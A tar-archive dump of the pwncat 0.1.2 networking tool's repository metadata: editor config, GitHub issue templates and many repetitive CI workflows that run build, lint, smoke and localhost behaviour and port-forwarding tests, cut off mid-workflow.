pax_global_header00006660000000000000000000000064141402502470014511gustar00rootroot0000000000000052 comment=5a2f807c481b5bae762ba3c9076b34c8cb9b6ed8 pwncat-0.1.2/000077500000000000000000000000001414025024700130055ustar00rootroot00000000000000pwncat-0.1.2/.editorconfig000066400000000000000000000006741414025024700154710ustar00rootroot00000000000000# top-most EditorConfig file root = true # Default for all files [*] charset = utf-8 end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true # Custom files [*.py] indent_style = space indent_size = 4 [.sh}] indent_style = tab indent_size = 4 [Makefile] indent_style = tab indent_size = 4 [*.{yml,yaml}] indent_style = space indent_size = 2 [*.md] indent_style = space trim_trailing_whitespace = false indent_size = 2 pwncat-0.1.2/.github/000077500000000000000000000000001414025024700143455ustar00rootroot00000000000000pwncat-0.1.2/.github/FUNDING.yml000066400000000000000000000000221414025024700161540ustar00rootroot00000000000000github: [cytopia] pwncat-0.1.2/.github/ISSUE_TEMPLATE/000077500000000000000000000000001414025024700165305ustar00rootroot00000000000000pwncat-0.1.2/.github/ISSUE_TEMPLATE/bug_report.md000066400000000000000000000016351414025024700212270ustar00rootroot00000000000000--- name: "\U0001F41B Bug report" about: Something is not working? Create a report to help us improve title: '' labels: bug assignees: '' --- ### ISSUE TYPE - Bug Report ### OS / ENVIRONMENT 1. [ ] Operating system: 2. [ ] Python version: 3. [ ] Command with highest logging output level is attached. ### STEPS TO REPRODUCE ### EXPECTED BEHAVIOUR ### ACTUAL BEHAVIOUR pwncat-0.1.2/.github/ISSUE_TEMPLATE/feature_request.md000066400000000000000000000010731414025024700222560ustar00rootroot00000000000000--- name: "✨ Feature request" about: Suggest an idea for this project title: '' labels: feature assignees: '' --- #### ISSUE TYPE - Feature request #### SUMMARY #### Goal pwncat-0.1.2/.github/ISSUE_TEMPLATE/general.md000066400000000000000000000004101414025024700204620ustar00rootroot00000000000000--- name: "❔ General question" about: 'Question, inquiry or anything else?' title: '' labels: 'question' assignees: '' --- #### ISSUE TYPE - Question #### Question pwncat-0.1.2/.github/PULL_REQUEST_TEMPLATE/000077500000000000000000000000001414025024700176245ustar00rootroot00000000000000pwncat-0.1.2/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md000066400000000000000000000004051414025024700245640ustar00rootroot00000000000000# ## Description / Changes / Goal ## PR Checklist * [ ] GitHub issue linked to this PR? * [ ] CHANGELOG.md updated? * [ ] Run `make lint`? * [ ] Run `make code`? pwncat-0.1.2/.github/workflows/000077500000000000000000000000001414025024700164025ustar00rootroot00000000000000pwncat-0.1.2/.github/workflows/building.yml000066400000000000000000000017321414025024700207250ustar00rootroot00000000000000--- ### ### Lints all generic and json files in the whole git repository ### name: building on: pull_request: push: branches: - master tags: jobs: build: runs-on: ubuntu-latest strategy: fail-fast: False matrix: version: - '2.7' - '3.5' - '3.6' - '3.7' - '3.8' name: "[${{ matrix.version }}]" steps: - name: Checkout repository uses: actions/checkout@v2 - name: Build source distribution run: | make _build-source_dist PYTHON_VERSION=${version} env: version: ${{ matrix.version }} - name: Build binary distribution run: | make _build-binary_dist PYTHON_VERSION=${version} env: version: ${{ matrix.version }} - name: Build Python package run: | make _build-python_package PYTHON_VERSION=${version} env: version: ${{ matrix.version }} pwncat-0.1.2/.github/workflows/code-black.yml000066400000000000000000000006761414025024700211220ustar00rootroot00000000000000--- ### ### Code style ### name: black on: pull_request: push: branches: - master tags: jobs: lint: runs-on: ubuntu-latest strategy: fail-fast: False matrix: target: - black name: "[ ${{ matrix.target }} ]" steps: - name: Checkout repository uses: actions/checkout@v2 - name: "${{ matrix.target }}" run: | make _code-${{ matrix.target }} pwncat-0.1.2/.github/workflows/code-mypy.yml000066400000000000000000000006741414025024700210420ustar00rootroot00000000000000--- ### ### Code style ### name: mypy on: pull_request: push: branches: - master tags: jobs: lint: runs-on: ubuntu-latest strategy: fail-fast: False matrix: target: - mypy name: "[ ${{ matrix.target }} ]" steps: - name: Checkout repository uses: actions/checkout@v2 - name: "${{ matrix.target }}" run: | make _code-${{ matrix.target }} pwncat-0.1.2/.github/workflows/code-pycodestyle.yml000066400000000000000000000007051414025024700224030ustar00rootroot00000000000000--- ### ### Code style ### name: pycode on: pull_request: push: branches: - master tags: jobs: lint: runs-on: ubuntu-latest strategy: fail-fast: False matrix: target: - pycodestyle name: "[ ${{ matrix.target }} ]" steps: - name: Checkout repository uses: actions/checkout@v2 - name: "${{ matrix.target }}" run: | make _code-${{ matrix.target }} pwncat-0.1.2/.github/workflows/code-pydocstyle.yml000066400000000000000000000007031414025024700222340ustar00rootroot00000000000000--- ### ### Code style ### name: pydoc on: pull_request: push: branches: - master tags: jobs: lint: runs-on: ubuntu-latest strategy: fail-fast: False matrix: target: - pydocstyle name: "[ ${{ matrix.target }} ]" steps: - name: Checkout repository uses: actions/checkout@v2 - name: "${{ matrix.target }}" run: | make _code-${{ matrix.target }} pwncat-0.1.2/.github/workflows/code-pylint.yml000066400000000000000000000007001414025024700213510ustar00rootroot00000000000000--- ### ### Code style ### name: pylint on: pull_request: push: branches: - master tags: jobs: lint: runs-on: ubuntu-latest strategy: fail-fast: False matrix: target: - pylint name: "[ ${{ matrix.target }} ]" steps: - name: Checkout repository uses: actions/checkout@v2 - name: "${{ matrix.target }}" run: | make _code-${{ matrix.target }} pwncat-0.1.2/.github/workflows/linting.yml000066400000000000000000000017071414025024700205760ustar00rootroot00000000000000--- ### ### Lints all generic and json files in the whole git repository ### name: linting on: pull_request: push: branches: - master tags: jobs: lint: runs-on: ubuntu-latest strategy: fail-fast: False matrix: target: - Linting name: "[ ${{ matrix.target }} ]" steps: - name: Checkout repository uses: actions/checkout@v2 - name: Lint files run: | make _lint-files - name: "Check equal version in CHANGELOG.md, setup.py and pwncat -v" run: | make _lint-version - name: "Check equal usage in README.md and pwncat -h" run: | make _lint-usage - name: Check up-to-date docs run: | make _lint-docs - name: Check up-to-date man page run: | make _lint-man - name: Check up-to-date GitHub Action workflow pipelines run: | make _lint-pipeline pwncat-0.1.2/.github/workflows/smoke-2.7.yml000066400000000000000000000035261414025024700205550ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: smoke-2.7 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[smoke] python-2.7" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Docker versions shell: bash run: | docker version - name: Docker Compose versions shell: bash run: | docker-compose version # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - name: "[keep-open] before send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=2.7 - name: "[keep-open] after send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=2.7 - name: "[port scan] tcp (no banner)" shell: bash run: | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=2.7 - name: "[port scan] tcp (with banner)" shell: bash run: | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=2.7 - name: "[port scan] udp (no banner)" shell: bash run: | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=2.7 - name: "[port scan] udp (with banner)" shell: bash run: | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=2.7 pwncat-0.1.2/.github/workflows/smoke-3.5.yml000066400000000000000000000035261414025024700205540ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: smoke-3.5 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[smoke] python-3.5" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Docker versions shell: bash run: | docker version - name: Docker Compose versions shell: bash run: | docker-compose version # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - name: "[keep-open] before send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.5 - name: "[keep-open] after send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.5 - name: "[port scan] tcp (no banner)" shell: bash run: | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.5 - name: "[port scan] tcp (with banner)" shell: bash run: | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.5 - name: "[port scan] udp (no banner)" shell: bash run: | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.5 - name: "[port scan] udp (with banner)" shell: bash run: | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.5 pwncat-0.1.2/.github/workflows/smoke-3.6.yml000066400000000000000000000035261414025024700205550ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: smoke-3.6 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[smoke] python-3.6" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Docker versions shell: bash run: | docker version - name: Docker Compose versions shell: bash run: | docker-compose version # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - name: "[keep-open] before send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.6 - name: "[keep-open] after send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.6 - name: "[port scan] tcp (no banner)" shell: bash run: | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.6 - name: "[port scan] tcp (with banner)" shell: bash run: | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.6 - name: "[port scan] udp (no banner)" shell: bash run: | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.6 - name: "[port scan] udp (with banner)" shell: bash run: | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.6 pwncat-0.1.2/.github/workflows/smoke-3.7.yml000066400000000000000000000035261414025024700205560ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: smoke-3.7 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[smoke] python-3.7" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Docker versions shell: bash run: | docker version - name: Docker Compose versions shell: bash run: | docker-compose version # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - name: "[keep-open] before send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.7 - name: "[keep-open] after send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.7 - name: "[port scan] tcp (no banner)" shell: bash run: | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.7 - name: "[port scan] tcp (with banner)" shell: bash run: | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.7 - name: "[port scan] udp (no banner)" shell: bash run: | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.7 - name: "[port scan] udp (with banner)" shell: bash run: | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.7 pwncat-0.1.2/.github/workflows/smoke-3.8.yml000066400000000000000000000035261414025024700205570ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: smoke-3.8 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[smoke] python-3.8" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Docker versions shell: bash run: | docker version - name: Docker Compose versions shell: bash run: | docker-compose version # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - name: "[keep-open] before send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.8 - name: "[keep-open] after send (kill srv)" shell: bash run: | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.8 - name: "[port scan] tcp (no banner)" shell: bash run: | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.8 - name: "[port scan] tcp (with banner)" shell: bash run: | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.8 - name: "[port scan] udp (no banner)" shell: bash run: | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.8 - name: "[port scan] udp (with banner)" shell: bash run: | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.8 pwncat-0.1.2/.github/workflows/test-x64-macos-2.7.yml000066400000000000000000001215121414025024700221310ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: mac-2.7 on: pull_request: push: branches: - master tags: jobs: test: runs-on: macos-latest strategy: fail-fast: False name: "[x64] [macos] python-2.7" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 2.7 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" 